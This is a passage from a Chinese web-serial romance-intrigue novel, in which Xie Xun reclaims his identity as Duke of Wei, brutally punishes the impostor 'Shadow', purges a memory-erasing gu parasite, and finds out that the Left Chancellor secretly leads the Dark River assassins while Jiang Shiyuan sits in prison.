“你倒是说说阿愿为何要毒害我?”谢循问。“她让你喝断子绝孙汤,不就是害你!”袁黎义愤填膺。“这是避子汤。”他冷声纠正道,“我不喝,阿愿就得喝。”“放开。”“那不就是断子绝孙汤!”袁黎童言无忌,“不能喝!绝对不能喝。” 袁黎愈发着急,不能看着谢循堕入火海,和他争夺起来,谢循苦熬两个时辰才熬出的一碗汤药在和袁黎推盏之间,全部漫出来,洒了一地。 苦涩之气漫开。 “袁黎。”谢循声音冷冷淡淡,仅是一句提点,就吓得袁黎汗毛倒立,正欲溜走,又被谢循攥住衣襟,眼见着难逃一顿教育… 此时,陆观棋火急火燎推门而入,袁黎还从没见过陆观棋神色如此紧张。 “主君不好了,姜司使出事了!” 陆观棋将探听到的消息讲至一半,就见着谢循已经怒意上涌,不能自控。 “下官怀疑此事是影子一手谋划,如今姜司使的人被关在天牢,案子又是监察司负责审理,监察司自宋清远失势后就与影子走动密切,下官担忧监察司的人恐怕也早被影子威胁或者收买。” “姜时愿处境不利。” 事及姜时愿,谢循不再冷静,浑身上下皆是在发颤,整个人被巨大的失去阿愿的恐惧所裹挟,眼风凌厉逼人。 谢循周身愈发强势的侵略感,让袁黎都打了一个寒颤,他还从未见过他如此骇人的样子。 内敛,阴狠。是残云暴雨之前的万物萧寂。 压迫感油然而生。 袁黎也不知陆观棋哪来的胆子还敢阻拦此刻的谢循,只听陆观棋疾言:“主君难道是想去劫天牢救人?” “主君绝不能去,天子眼下,劫持天牢乃是重罪,况且面对成千的禁军围剿能不能全身而退都是问题。” 谢循声色俱厉,“让开。” “主君难道就没想过您如今的身份根本不适合摆在明面上,您要知道典狱一处的沈浔被断过筋脉,连笔都握不稳,更何况是提刀呢?”陆观棋誓要将一切利害摆明在谢循的眼前,试图拉回他岌岌可危的理智。不曾想,谢循仅是眉头蹙了一下,幽深的凤眸紧盯着他。 “陆观棋,废话说够了没有,我的耐心已经用尽了。”“你与我共事多年,应当知晓敢拦我的后果?” 话音甫落,谢循以迅雷之势抽出袁黎的配刃,剑锋抵住陆观棋的喉结,哪想陆观棋亦不畏惧,噗地跪在地上,“主君就算杀了下官,下官也定要阻拦您。” “那你便先去黄泉路,为阿愿陪葬吧。”谢循的眼眸微眯,幽暗深邃。 感觉杀意临近的一瞬,陆观棋深知劝不住谢循,遂放手一搏,呵道:“主君可曾为姜司使考虑过?” 闻及阿愿,谢循终于有了动容,剑锋瞬止:“说清楚,什么意思?” “劫囚乃是下下策!主君会将姜时愿三年来的苦心积蓄的一切毁于一旦,你如今乃是沈浔,与她夫妻一体,荣誉与共。主君即便将她救出,可曾想过她会是什么身份?” “会与你一样同为罪臣、逃犯!” “姜时愿会是重犯沈浔之妻,罪臣姜淳之妹,两大欲加之罪,主君当真以为她还能翻身吗,还能替姜家鸣冤吗?”“主君比我更清楚,她是靠着为姜家洗冤的执念才强撑至今,你贸然劫囚,只会害她于不忠不义之地,会令姜家再永无翻身之日!” “您以为,这会是姜时愿想要的结果吗?” 字字珠玑,句句拿捏住谢循的七寸。多思,争斗,撕扯着理智和冲动,然其谢循闭目凝神,指尖颤抖,亦同他此刻心中仍未平息的波澜。 谢循可以毫不顾虑自身,但却不暇一丝要为阿愿考虑周全。 哐当一声,配刃落地,陆观棋终松懈下一气。 “以沈浔之名是救不了姜时愿的。唯剩的一个法子,主君和下官皆心知肚明,不是吗?”陆观棋伏跪在地,声音不大,却极具穿透力,“请主君重临魏国公之位!” 眼见着陆观棋都跪了下来,袁黎亦跟着跪在谢循的脚下,眼眶中打着泪,附和着陆观棋。 是良久的沉寂…二人皆猜不透谢循此刻在想什么,亦不敢多加打量他的神情。 片刻之后,陆观棋感受谢循的衣诀轻拂,拔步离开。 天地晦冥,墨染苍穹,电光耀眼,天公震怒。 风吹雨斜,大雨如注,青年沐在滂沱浩荡的雨势中,步履从容,足下无声。 怒火如炽,但青年将此深深压下,再次抬眼之时,已不见愠意,只有像深潭寒水般的肃杀之意。 冷寂,长风吹散水雾,露出披月而来的人。 守门的左右朱衣司使放眼望去一身玄衣初显桥头,倏然电光而下,惊雷劈下,青年近在眼前,眨眼之间。 又一惊雷劈下。青年冷面如玉的脸庞瞬间亮如昼,又瞬阴暗交界,将他立在似人非人,似佛非佛,似鬼非鬼之间。 是什么呢? 他就像是石壁上诸神降魔图上被天公雷神敲打天锄依不畏惧作乱人间的罗刹! 左右司使大惊失色,盯着来人,颤着声问道:“沈…沈司使…来降魔殿.有何贵干?” 谢循下颌微抬,盯着牌匾的上以金漆涂绘经文和字迹,冷声道:“我要见殿内之人。” 殿内之人,指的是谁?左右司使皆有答案。 按照往常,司使必定以典狱森然的规矩压制,沈浔’一个朱衣司使连让他们通禀一声都不配,如何谈面见魏国公? 但人乃灵兽,又有着先祖未退对于察觉出潜在危险的直觉,司使怔怔道:“对不住了,沈司使,魏国公自从左相府 归来后就将自己关在殿内,下令不见任何人。况且…下官知晓沈司使为何而来,恕下官多嘴一句,魏国公已下令任何人不得干涉姜司使之事,还请…沈司使不要插手,不要公然违抗魏国公之令?”谢循冷笑,“他还当真以为典狱是按着他的意志行事?” “沈司使…莫不可说这些大逆不道的话!”司使提点。 下一瞬,冷风呼啸,树木婆娑,狂风大作,一股巨大的气流竟压得两位司使趴倒在地,动弹不得。他们只能听着谢循的脚步愈发清远,朝着伏魔殿而进。 “沈司使!”司使大呵。 谢循不急不慢还略带散漫的声音传来,“怕什么?沈某只是来提点下他,不要忘本。” 大雨磅礴,洗涤寰宇,冷风吹拂不定,连带着烛火也跟着颤颤的。 伏魔殿内。 晦暗的烛光下,青鬼獠牙的面具被静搁在桌子上。 影子褪去单边衣襟,将小瓶内的金创药粉倒在露骨的伤口之上,白色粉未覆上,他喘息大扼住喉咙的呻吟,奈何这痛意跗骨,还是令他倒吸凉气,喊出声。 影子覆在几上,冷汗淋漓,听着屋外大雨倾盆,敲打青檐。 倏然,又是一道惊雷直闪而下,映亮满屋。 影子愕然抬眼,看见一抹玄衣大马金刀地坐在太师椅,姿态懒散,昼亮的惊雷照亮他刀削般的下颌,却将他的半张脸依然笼罩于黑暗。 他仿佛在居高地审视自己,却不做声,留给影子的唯有雨声。 “谁!”影子立马惊厥而起,“没有我的命令,你竟敢无召入殿!”话落,那端坐在太师椅上的人轻蔑地笑了笑。 影子忙不迭地戴上面具,质问着来人,“说,你是谁!” 雷声轰轰,影子只听见沉闷而低缓的声音传来,“怎么,你连谢某的声音都听不出来?” 紧接着电闪雷鸣降下,惊雷勾勒出座上之人的身姿,他撑手在太师椅上,斜依着,散漫地一膝叠在一膝之上,轻慢地打量着影子。 “不应该啊。”那人轻叹。 “三载以来,仿谢某之形,踞谢某之位,如今却忘本了。” 一字一句,掷地有声。 影子心中一悸,双眸圆瞪。他模仿了这么久的谢循,比世上所有人都清楚谢循的身形、行为,谢循的声音、语气。以及他始终模仿不出的‘魂。 影子身躯一颤,被吓得软坐在地上。青鬼面具也滚落在玉石阶下。 “你…你怎么知道我的秘密?”他大汗淋漓,“是不是陆观棋那个贱人告诉你的。”“不对,不对,你休想炸我,我就是谢循!我就是魏国公!” 影子双眸殷红,绝不相信此人就是谢循!但内心仍然砰砰直跳,狂颤个不停。 电闪交加之间,谢循徒步走下沿台,步步逼近影子。影子被吓得无处遁形,面色惨白,却又见他修长的指尖把玩着青鬼獠牙的面具,抚上青铜纹路。 然后以影子的角度,清晰可见,错位而视,看着他手中的青鬼獠牙面具和他的容貌渐渐融合在一起… 冷风吹拂面具之下的墨发。那一刻,电光耀眼,罗刹再现。也是在那一瞬间,影子怔住了.…. 他生来就被左相培养为谢循的影子,可以说他就是谢循藏在暗处的影子。他一生都再以谢循而活,所以,他又如何不清楚眼前之人究竟有多像谢循? 像,简直是一模一样!影子的心如坠冰渊,这世上怕是再无人能像眼前之人,描摹其魂!那是他追其一生,都无法模仿的精髓! 他,就是谢循! “你怎么回来了.…”“你为何要回来?”“你不该回来!” 影子大乱,无助地大斥。“你休想抢走我好不容易苦心经营的一切!”“你休想要抢走属于我的位子!” “你的位子?”谢循轻蔑出声,猛然扣住影子的脖颈,将他的生死捏在自己的掌心。 影子试图挣扎,却如此蜉,徒劳无功。 “需要谢某提醒你,你本来的名字吗?”谢循微弯脖子,轻轻吐出。 “影、子。” “正如你的名字,你不过是一个依附谢某而活的影子罢了。”谢循的气息冰冷,力气甚大,“一个永世见不得光的影子,还妄想取谢某而代之?” “笑话。” “你杀了我吧.……谢循!”影子半是癫狂,半是咬牙切齿地说出,“你有本事就杀了我!”他受不了这样毫无尊严被他凌辱,只求一死。 谁料,影子听见谢循鼻尖哼出的冷笑,疯狂,声如碎玉。 “死?”谢循轻轻咬字,话音却重于千斤,“死字是最轻松的事情。” 他戏虐地问道:“你以为我会这么轻易放过你吗?” 谢循松开影子,影子匍匐在地,看着罗刹没有任何征兆地踩断他的五指。 只听撕心裂肺的声音刚出,谢循又单跪下来,狠厉地攥着影子的额发,逼他清楚听清自己嘴里的每一个字。 “让谢某今夜仔细清算清算,这三年来你用着谢某的身份,做了多少好事?” “在阿愿春试之时,你用尽手段想将她赶出典狱,让她身败名裂,是不是?”话音刚落,影子就见自己的手腕被他扭断,“啊!”,断骨之痛,令影子难言。 “还有,阿愿在进入典狱之后,你借用顾辞、安瑛之手处处为难,是不是?”“你更甚至想要顾辞在洛阳时,趁此杀了阿愿,是与不是?” 几乎是暴戾的,惨不忍睹的,毫无人性的。谢循一脚踩断影子的腿骨。 “啊——”这哭丧之声简直痛不能言。 影子的心已经癫狂,匍匐在地,如同丧家之犬,不顾任何尊严廉耻往殿外爬,谢循不紧不慢地跟在他的身后,犹如鬼魅般的脚步声驱散不退。 在影子即将临近殿门之时,又回眸谢循的穴履踩着自己的腰。 “不要……不要…….”“不要!”影子无助求饶,却又听着他渗人的话音又往外冒。 “还有什么?不妨提点谢某一下?”谢循俯身逼近。他脚下的力道逐渐狠厉,影子哭喊着,求饶着,只听着谢循的声音愈发寒意渗人,不耐地催促道“说啊。” “我……”影子颤抖着。 “谢某替你说。” “还有…你设计阿愿不成,反倒害得三七惨死。你可知阿愿为了三七整整哭了三天三夜,不肯进食,难以安寝,差点半条命都赔了进去…”。 “这些皆是拜你所赐!” 谢循的声音平缓听不出羞怒,可唯有这位苟延残喘、模仿谢循数年的‘赝品’知晓他的心里已满是滔天的愤怒。 影子听他的话里话间全是姜时愿,倏然大悟,他是为姜时愿而来,“你…你和姜时愿是什么关系!” 他的声音清晰入耳,“你还不明白吗?在这三年间,我以沈浔的身份而活。”“我是典狱一处的沈浔,是姜时愿的夫君。” 沈浔?沈浔!那便不是顾辞曾提醒过他的名字吗?影子恍然参透,为何阴险毒辣的顾辞会惨死洛阳,又被冠上四绝之名?原来这一切都是他在暗中搞鬼! 沈浔,沈浔!影子咬碎了牙,为何此刻他才惊醒! 为何之前对顾辞的警醒视而不见,他早该知道,他已经回来了… 但。悔时晚矣。他深知,他已经触及到了谢循的逆鳞。如若不能逃脱,他便会永无宁日,谢循定会折磨得他求生不得、求死不能!几乎是求生的本能,激地影子奋力一逃,却被谢循“咔嗒”一声踩断腰骨。听着影子的撕心裂肺,谢循笑了,是森然的笑意。 谢循的声音直穿耳膜抵达至影子的心间。“这三年来,你加诸在阿愿身上的每一笔,是时候该好好清算了。”“你说是不是?” 影子咬碎了牙!口角鲜血浓浓流下。他看向谢循的眼里满是惊恐,似撞上了真正的罗刹。 “所以。”谢循的声音如寒泉击石。 “你欺阿愿一分,谢某便要在你身上还诸百倍、千倍!”“我要你,求生不得,求死不能!” 谢循怒之,目眦欲裂,看着影子的手即将推开殿门,仅此一步,方能逃出升天,谢循偏要在最后一刻掐灭影子所有的希翼。 雷雨降下,仿佛天公降罪,是在怒他的弑杀之心,谢循亦无所畏,拽着影子的玄袍而行。听闻陆观棋曾说,伏魔殿中曾被他设下一间暗室,如今正好物有所用。 谢循攥着昏迷不醒的影子,消失在缓缓闭合的暗门之后。 雷声轰轰,半炷香之后,谢循在水盆之中洗去双手的污秽,不急不慢地在白巾之上擦开十指的水珠。 雨声零零碎碎,哀荡不平。 谢循冷眼瞥向方才被打落在地的面具,此刻再见‘青鬼獠牙’,他的心中已无忐忑、也无抵抗。他弯身拾起,有面具折射下的阴翳慢慢遮住他的眉眼。 长睫翕动,谢循的指尖仍在发颤。阖眼之间,泪意上涌。 谢循深知影子仅是一个人摆布的棋子,他的身后定还有人操控。 姜淳旧案刚重启调查,阿愿就遭遇此横劫,谢循心知肚明是当年的幕后之人有意为难,设计陷害。就算他如今把阿愿救出来,以沈浔的身份、以沈浔的力量,谈何保护阿愿平安顺遂?世间万般苦楚,皆不及失去姜时愿之痛。 谢循下定决心,戴上青鬼獠牙。 “阿愿…若不为谢循,何以护你一世安宁?” 作者有话说 ?显示所有文的作话 yeah,yeah,终于写到这个爽点了。接下来的剧情,仍然是章章爆点,嘻嘻。【小剧场,与正文无关】谢循哭唧唧地戴上面具:“阿愿不会嫌弃我把…”小手指戳戳。放下面具,又嘟囔着不行戴上面具,又放下面具,又委屈巴巴戴上。谢循:“这世上竟然有比喝避子汤更苦的事情。”“那就是喝不到避子汤。”谢循郁闷在怀,才喝两次肉.汤,就要改吃素了!背地里画圈圈,郁闷一夜又一夜。“实在不行…半荤半素也可以啊。”谢循求助作者亲妈,“你看可以吗?”狐狸:“你问阿愿答不答应,她答应我就答应。”谢循:“那算了.阿愿定不会同意的。”姜时愿在房间内气闷地跺脚,独守空闺。 110、110.…. 夜色将至,大雨吹打降下大袍大袍的寒梅。 风声渐歇,左右司使方逃脱无形的桎梏,就赶紧闯入殿内察看魏国公的情况。 方才殿内的动静,他们听不清楚,但也隐约觉得情况不妙。 莫不是!魏国公出事了? 左右司使也顾不得繁文缛节,擅闯入殿,方一踏进森冷之地,就见玄衣长身鹤立,风姿特秀立在特请宫中巧匠凿开的水潭前,手中捻着一角桂花糕,漫不经心地洒下,池中锦鲤扑腾水声,清脆入耳。 方一见到青鬼獠牙之面,左右司使就慌乱地垂下头:“国公莫怪,小的听见殿内的动静,还以为国公遭遇不测,这才情急闯入。” 他们环视一圈,又见殿内除了魏国公一人之外,却不见 沈司使’的踪影。 正当二人疑惑时,又听见谢循冷言:“带白无常来见我。” “是。” 白无常一听乃是魏国公的亲自召见,顿时慌了心神,天下皆畏惧的罗刹为何要单独召见他?莫不是…察觉到了他的身份? 白无常念叨小命不保,正欲想逃,却又被左右司使架着两个膀子,强拉硬拽地拖去森然的伏魔殿。 咔嗒一声,司使退下,殿门闭合。 佛魔殿内,冷意逼人,仿佛连白无常呼出的空气都凝结成霜。 他扭着脖子,扫眼看向两侧墙垣前并立的巍然雕像,一侧是怒目圆瞪的修罗,一侧是敛眉慈悲的佛。青砖的地面散发出的寒意,似无数根细针刺穿脊髓。 他的心跳如鼓急促,听着悠缓潜行的脚步声愈来愈近,白无常冷汗直下,一个接一个沉闷的磕头声接连不断,“魏国公饶命,魏国公饶命…” “是我。”清冷玉质的声音传来,白无常茫然地抬起头,怔怔地看见谢循解下面具。 “他娘的!”诧异到白无常当即爆了个粗口,“魑大人,你不会胆子大到杀了谢循取而代之吧!”“这他妈的,可是不亚于诛九族的大罪!你如今怎么就疯成这个样子了呢!” 白无常当即决定要逃命,绝不会陪这疯子再多呆片刻。谁料,谢循利落明晰的声音从身后传来,“我就是谢循。” 白无常大愕,听着谢循冷言冷语地讲述经过,倏然,就连白无常亦察觉不对,“你是四绝之一的魑,也是如今名震天下的魏国公?” 如若是这样,那谢循这一生可谓是巧得惊天动地。前半生是令世人闻风丧胆的四绝,后半生成为了搅弄朝堂的权臣? 一个低贱下作还是罪奴出身的人,这一生怎会巧到连连跳跃阶级?入江湖,能当顶级杀手。入政堂,又是权倾天下之人。 白无常尚且能想到之事,谢循如何会想不到? 谢循冷冷一笑,“巧到谢某简直就像是棋盘上的一落子,巧到谢某的一生像是被人精心操控那般,是嘛?” 暗河众人人尽皆知,魑十三岁时,勾结沈煜,背叛暗河,从而被暗河阁主刺死。不过这死之中,多少藏着玄机。而满朝文武皆知,十六岁的青年收养在左相膝下,左相爱之,为他冠姓氏为旁氏贵姓,谢。后来,这位青年名震朝堂,成为魏国公。 十三岁的魑,十六岁初显锋芒的魏国公,皆是谢循。 谢循在他人口中知晓前半生和后半生的过往。却对其中空白的三年,茫然不得而知。 “这三年,定然藏着能解开所有谜题的关键。”“是吗?“ 谢循声音轻微,凝滞,像是说给白无常听的,却更像是吐给自己。 谢循盘腿坐下,颇为书生气的手将青鬼獠牙搁在腿膝之上。白无常半有猜测,纳罕着:“所以,你如今是打算恢复记忆吗?” “解蛊吧。”谢循阖上双眸。 白无常听着谢循的吩咐,赶去佛龛之下掏出紫檀锦盒,再看母蛊,再将视线移向谢循,心里不知怎的竟有了惺惺相惜之意。唯有暗河之人,才知这种无形的桎梏,它如一根铁链死死拴住你的脖颈,无论跑至天涯海角,依然逃不过锁链另一端人的掌控。 穷尽真相,追忆缺失的记忆,有时候也跟尖刺一般锐利。 白无常仍是不忍,“你真的做好准备直面一切了吗?包括阁主?”谢循垂下眼睫,长睫翼动,落下一句:“心意已决。” 官场沉浮,宛如龙潭虎穴。不知全貌,顷刻之间便会粉身碎骨。如不拨开迷雾,他永远如困兽,永远是棋盘上的一子。此蜉之力,难以护住心爱之人。 “这解蛊之法,在于利用母蛊相吸,引出你体内的子蛊。解蛊之痛,犹如脱胎换骨,你当真准备好了吗?” “多说无益。”“好。”白无常取出母蛊。 黑夜漫长,男子面若冠玉,墨发披散连带着里衣也开始散乱,露出亵衣之下布满纵横交错的伤口的皮肤,清晰可见一个皮肤之下凸起的子蛊正在流窜全身。解蛊之痛,常人难以承受,就连谢循也是如此。漫漫长长的救赎之道,从深夜持续到晨曦洒入殿内。 白无常见之子蛊终于流窜至谢循的手腕处,大喊就是此时,谢循压抑着苦楚,当机立断割开手腕,黑色的子蛊破体而出,与血水缓缓淌在地上。又紧接着被谢循一刀砍断。 蛊死,回忆如走马灯般涌来。 白无常只听着谢循难以承受地崩溃,忙不迭去扶谢循,问到:“如何?想起来了吗?” 谢循强捂着胸口,胸膛起伏间是满腔的恨意,哑声大怒。 “左相!” * 与森然的殿内一样寒冷的乃是天牢,夜凉如水,姜时愿也同样感受到了刺骨的寒意。她身着单薄的囚衣,缩在墙垣之中,身子冷得发抖,眼神怔怔地看着落在干草絮之中的青玉,眸色晦暗难辨。 月泼清辉洒下,照得玉通体透亮。如此美玉,姜时愿毫无怜惜之意,让其在草絮之中蒙尘。 入狱,倒是给了她一个完美的机会,去逃避她的夫君。她的夫君是她最厌恶的狡诈之人,满腹阴险狡诈之人,也是她最不能接受的弑杀之人。 他们的相遇从一开始便是错的。纵为夫妻,也难以恩爱白头。她也不愿与这样的人,一生一世。 倏然。 狱卒砰的一声,砸落稀粥,本就汤多米少的粥还被洒了一半。“姜司使,还是多少吃点吧,三日不进食的话,人可是撑不住的。”“莫不是你是想等着有谁来救你?”狱卒冷眼看着狱中美人清清冷冷,生了一副傲骨,从不乞食,甚至也不屈。 对于姜时愿向来冷淡的态度,狱卒早也见怪不怪了,原想放了饭就走,忽然斜眼一觑看见怀玉落地,眼睛一亮,念着这玉应值大价钱,遂以迅雷之势伸手从铁栏之中掏出。“还我!”不曾想,向来不屑于理会她的姜时愿忽然同他讲话了。“这是我的东西,烦请你还我。”清婉声中难掩愠意。狱卒笑了笑:“玉本是质地寒凉之物,姜司使既冷,就该离远点,就让小的先替你保管,待姜司使出狱之时再还你。”“这天牢中,本就一切随身之物都该上缴,就算是你也不能藏私。”狱卒看着姜时愿神色焦急,又笑道:“莫不是这块玉对你十分重要?”“小的嘴笨了,既重要的话,姜司使怎么舍得将他丢在一旁?” 经此一点,狱卒粗粝的指腹摸上雕刻精美的纹路,摸出沈字,哎呦地叫出玉上的字,“沈。” “还我!”姜时愿厉声道:“我乃三品命官,你岂敢夺我之物?”狱卒咯咯地笑着,“司使莫不是不知道什么叫做阶下囚吗?囚者即为贱。”“这里是天牢,不乏关着比姜司使还更加有名有姓、有头有脸之人,结果呢.…你见哪位有运气出去?”“你还是省省心吧。”“不妨告诉你,魏国公暗里下令,谁要是承接你的案子便是和他明面上对着干,你说满朝文武有谁敢得罪的起魏国公啊?”“谁又敢开罪魏国公,救你出去?”狱卒放肆笑着,笑声回荡至天牢,渗入姜时愿的心中。她虽怒,却知此刻的愤怒丝毫无用,她倚着灰墙而歇,脑海中仍止不住地回想到嬷嬷与她所说的话。 姜时愿,对不起…我不忍伤害你…但是我亦不能放弃暗河的大计…. 暗河大计?姜时愿紧蹙柳眉,轻轻念着。 对了,她始终都没有考虑过一个问题: 暗河为何想要颠覆庆国皇室,暗河众人口口声声的大计又是什么? 她睁开杏眸,倏然盯着曾穿过嬷琵琶骨的锁链,想来那时的铁链应当提前被人做了手脚,所以嬷嬷才能运用内力,顷刻之间就将沉如巨石的铁链化成面粉。锁骨链琵琶骨… 姜时愿盯着墙上斑驳的血迹凝望出了神,好似嬷嬷与自己对峙的情景历历在目。时至今日,她想起来,仍是心生不忍。 她仍然能回想起沉重铁链之下的嬷嬷,双脊皆被尖锐的铁钩贯穿至胸腔,汨汨不断的血从锁骨下巨大的骷髅中流出。 倏然一瞬,她一颗心狂颤,寒意跗骨直上。 嬷嬷身上穿琵琶骨而留下的疮痍,长约三分,宽二分,且左右对称,均在锁骨之下最柔软处,那也是胛骨所在。 姜时愿泪盈于睫,仍是不敢置信。 就是这样的伤口。她记得,她的夫君身上,也有… 第二次巫山云雨之时,她假意讨好 沈浔’,实则试探,因此吻遍了他身上所有的疮痍。她清晰地记得,他每一处的伤痕在他身上的哪个位置,更因仵作之学,能判断他是被哪种所伤。 唯有他锁骨下三分的伤口,她见时,却不知因何而来。嬷嬷碎骨下有相同的创口两处,而沈浔足足有四处…… 姜时愿颤颤地站起身来,望着亭墙檐之下牵起的铁链,沉如巨石,长如虹龙,却锁在习武之人最为敏感脆弱之处。 泪光点点,心如针刺。还没来得及等到理智善恶是非谴责,姜时愿已泪落如珠。 “阿浔…” “阿循啊…”“阿循啊……” “是老夫赐你名,又赠你姓氏…老夫原本以为能将你长久留在身边的…届时等将庆国山河收于囊中,老夫岂会薄待于你?““赐尔黄金万两、蟒袍玉带、世袭罔替!别说是魏国公,就连封地亲王,老夫眼睛都不会眨一下!” “可惜啊…”左相布满沧桑的手摸上残存在铁链之上的斑驳血迹,眼神悲凉,却无泪,“可惜啊…”“你天资过人,却总是不肯尽数交出真心,才让我们二人走至如今殊途之路。” 如果谢循有两世,一世是魑,另一世是魏国公。 那么。 他也有两世,一世是暗河阁主,另一世又是被万人敬仰的‘左相” 111、11…. 左相鹤发童颜缕着自己的银须,睹物思人,轻笑自己作为暗河阁主的前半生。 第一次见到谢循,是在天外天之时,看他骨瘦如柴的身躯竟爆发出过人的武学天赋所有人死在他的双拳之下。 左相笑看着少年脸颊上掺着血色,杀人之后眼神并未有丝毫恐、惧、忧、嗔、满,这种超脱常人的心性让他认定谢循乃是能继承他的衣钵之人。 此子虽不被七情裹挟,但,他却发现谢循极重恩情。 遂,左相将他带至暗河,赐他名为阿循,意味着让他此生皆循规蹈矩,听循的乃是他一人的命令。 雨声可铃,谢循伶停的身影跪在长廊之下,对他满是感激:“阁主救我于困厄,是我的恩人阿循不敢负恩义之重。” 然后,他是如何回报谢循的呢?他赐谢循红丸,里面是血滴蛊的子蛊 左相记得掐着少年的双腮,逼他吞下。面慈心狠心里只叹:阿循,莫怪老夫,人言是最不可信的,老夫不得不防。 阿循,这世上有太多人想要老夫的性命,你可愿以恩情相报护老夫周全?” “天志不渝,至死方休。” 那些年,他将谢循视如己出,亲传他武功秘法,看着他继承衣钵,成为闻名天下的魑。 可同样的风雨欲来,他亲于养大的狼子也会反咬一口,谢循不知从何处查到了天外天实则也是暗河其下的一个分支,天外天中的猎宴看似供富甲消遣的赌局,实则也是暗河选拔杀手、百里挑的于段甚至,谢循还察觉到了体内有他埋下的后手,血滴蛊。 暗河以蛊毒盛名,中蛊之人,终身难逃桎梏。不疯不魔,不死不活。 这二件事情成为谢循开始不顾一切叛逃他的缘由,那年此子不过十三,心智未熟,左相却没想到他差点毁了整个暗河。 谢循勾结沈煜,哄沈煜上书京中试图揭穿整个暗河的阴谋,也好在那年此子也不过十三,谋算城府尚还有些青涩,被他抽丝剥茧、查出马脚,带回暗河。 那时,他的杀心已起,但更多的是怜惜此子的天赋。谢循这般天资过人之辈,百年难得遇。 这也是他为什么还要留下谢循命的原因。 可是此子性子过傲,宁死不屈,遂左相只能假意在众人面前杀死谢循,看似立咸正规,暗里却是藏着手脚,让谢循在水晶棺中昏睡假死数月,而后秘密转移此子入京。 京中计划周全,左相也接到诏令入京,杀了真正的左相,取而代之。从暗河阁主一跃变成至高无上的左相,迈入朝堂。 左相眼神微眯,呷了一口浊酒,回望着和谢循曾共渡三年的暗室。 他花了整整三年的时间,再度将谢循周雕刻成他最杰出的作品。 那时,谢循方才苏醒过来,就发现已经身处暗室。而这则是左相为他特意打造的 囚牢”。 左相比谁都更清楚谢循的实力,因而比谁都更加忌惮谢。 他清楚单独两条锁骨链并不能困住此子,他分别从东西南北四角引出寒链,那锐利无比的铁钩是他强忍泪意刺入谢的体内,也是他落泪安慰着呵循川怕,很快就好了 左相看着谢循铁链如蟒蛇缠身,铁钩剜入骨血,鲜血汩汨而流,依然看不见他脸上半分忧怕。他知道,此子始终难以教化,更不会臣服于自己。 那时,谢循昂首嗤笑,双眸淬毒:“你以为我还会任你埋布吗?他日当我出去,定拆你骸骨筑碑,我定要你亲眼看着我是如何瓦解你此生心血?” 左相笑着,摸着宛如被折断双翼的谢循,笑着:“阿循啊…你可知,我留在你体内的血滴蛊有何作用?” “你要干什么?”谢循拾眸时血雾翻涌。 “你很快就会忘了不愉快的过往了”“虽然蛊血滴蛊发作的日子会有些难熬,每至深夜子蛊便会啃食你的记忆时,犹如千万蚁重啃食颅脑…:“但老夫相信…阿循,你一定会熬过来的,你一定还能再成为老夫手中的剑的。” 恨意喧器而出,一字一血浸着血泪,谢循大怒,大悲:“你休想!”“你休想!我不会为你所愿!我绝不会再为你所愿!我定要杀了你!” 那三年,暗室每至深夜,皆能传来阿循的痛苦地叫唤,皆能传来铁链沉网作响的寒声。 这场塑造,抹去记忆,持续了整整三年。等左相再次见到谢循之时,他已因无时无刻不再试图挣扎寒铁,而脊骨寸寸断裂,筋肉扭曲成蛇,白衣不见先前之色,腥臭干巴,满是凝结的血色。 谢循再次睁眼看向他的时候,已经了无恨意,只剩麻木。 左相哭着,又低低笑出声来:“成了,成了!” 后来,左相将毫无记忆的谢循收养为义子。 可惜他们终究缘浅,圣德三十年,谢循失踪,不知是逆子再次逃脱了他的掌控,还是生死不明。只是,左相清楚无论是哪一种谢循都不会再次回到他的身边。 一月前,当明奴来找他要母蛊之时,左相微微动了恻隐之心,反正留着母蛊已无用,还不如就此要挟明嫩以此在万岁宴上替他动手。 只可惜,天不遂人愿…明嫩失手。 伏魔殿中,谢循同陆观棋讲了自己的猜测,陆观棋大震:“主君是说左相就是暗河阁主,这简直匪夷所思。” 陆观棋难以置信,左相辅佐两朝,仁政爱民,怎可能是暗河之主?谢循猜出他的顾虑,“怕是真正的左相早就死在他手。” “如果真是如此,暗河盘踞在我朝的势力简直深不可测,不知有多少细作像他一般取而代之朝中要员。” 毫无风声地谋杀高官,堂而皇之地取而代之,潜伏数年,却不被文武百官察觉,陆观棋已经不知究竟是暗河势力通天,还是率先所有察觉端倪的官员皆被左相暗中抹去。 谢循立在案首之前,饱黑倒流在骨节分明的手掌之上 他神色寒凉,说道“沈煜、宋清远皆是因知晓暗河隐秘而被居族灭门,或许,连姜家也是如此。” “主君是说,三年前姜学士亦可能掌握了什么至关重要的线索,因此才会被设计陷害?”陆观棋心念一动。 谢话:“之所以沈家是被杀于居族,乃是因为沈家势做力薄、且远离京中,难以惊动圣人。而魉大张旗鼓居杀未清远一家,是因为暗河早已谋划同全,势力渗入各处,因此借宋家起威,与整个大庆皇室宣战。” “而三年前,姜家乃是四大家族之首,相较之下,暗河羽翼未丰,若直接像屠戮沈宋二家般大开杀戒,无疑是剑指皇城,挑衅大庆皇室,以卵击石,自不量力。”谢循指腹沾着琥珀色的茶水,以手指为笔,以茶为墨,在案几上勾勒分析。 此时,陆不语接话道:“所以,暗河选择栽赃下作之法,陷害姜学士。再利用圣人早就对姜家忌惮之心,发难姜家。” 陆观棋:“那如今魏国公打算如何?”“左相眼下还不能动,牵一发而动全身。”谢循抬眸,双眸寒意乍现。 陆观棋跟随谢循多年,最擅揣测谢循言下之意“主君是想蛰伏在左相之下,与虎谋皮,虚与委蛇。” 谢循弯起指缝,点在茶盏之中:“未探清楚暗河虚实、朝中细作之前,不能安动。” “还有…”谢循撑首苦思,“我总觉得…”“主君想说什么?” 正当二人正在商谈之时,一位红袍官吏在殿外扯着嗓子求见谢循,还未等谢循发话,官吏已然无视典狱森规,迈入殿内。无视规矩,是为不敬,陆观棋正欲发难,却被谢循一眼令下,憋了回去。 官吏虽有鲁莽之举,可真到了谢循眼下,又神色诚恳,跪在青砖上,结结实实磕了三个头。他道:“下官奉左相之令来给魏国公递个话。” “什么话?” 官吏不敢抬头看谢循,眼观鼻鼻观心:“姜司使已被关三日,左相催促魏国公的决断?” “不知义父意下如何?”面具之下的颈侧筋脉暴起,而谢循之声已然缓缓慢慢,不急不躁,甚至凉薄。 “姜学士乃是左相从前的爱徒,左相又与姜家索有些交情,左相乃是重情之人,若是魏国公有法子令天牢中的姜时愿伏法认罪,左相或可饶她一命。” “左相应当知道姜氏之女,宁不屈膝,纵使是谢某也难以令她伏法。” 那官吏叹了口气,“姜氏之女不肯伏法,神仙难救。此女亦是左相的一块心病,还请魏国公狠心去之。” 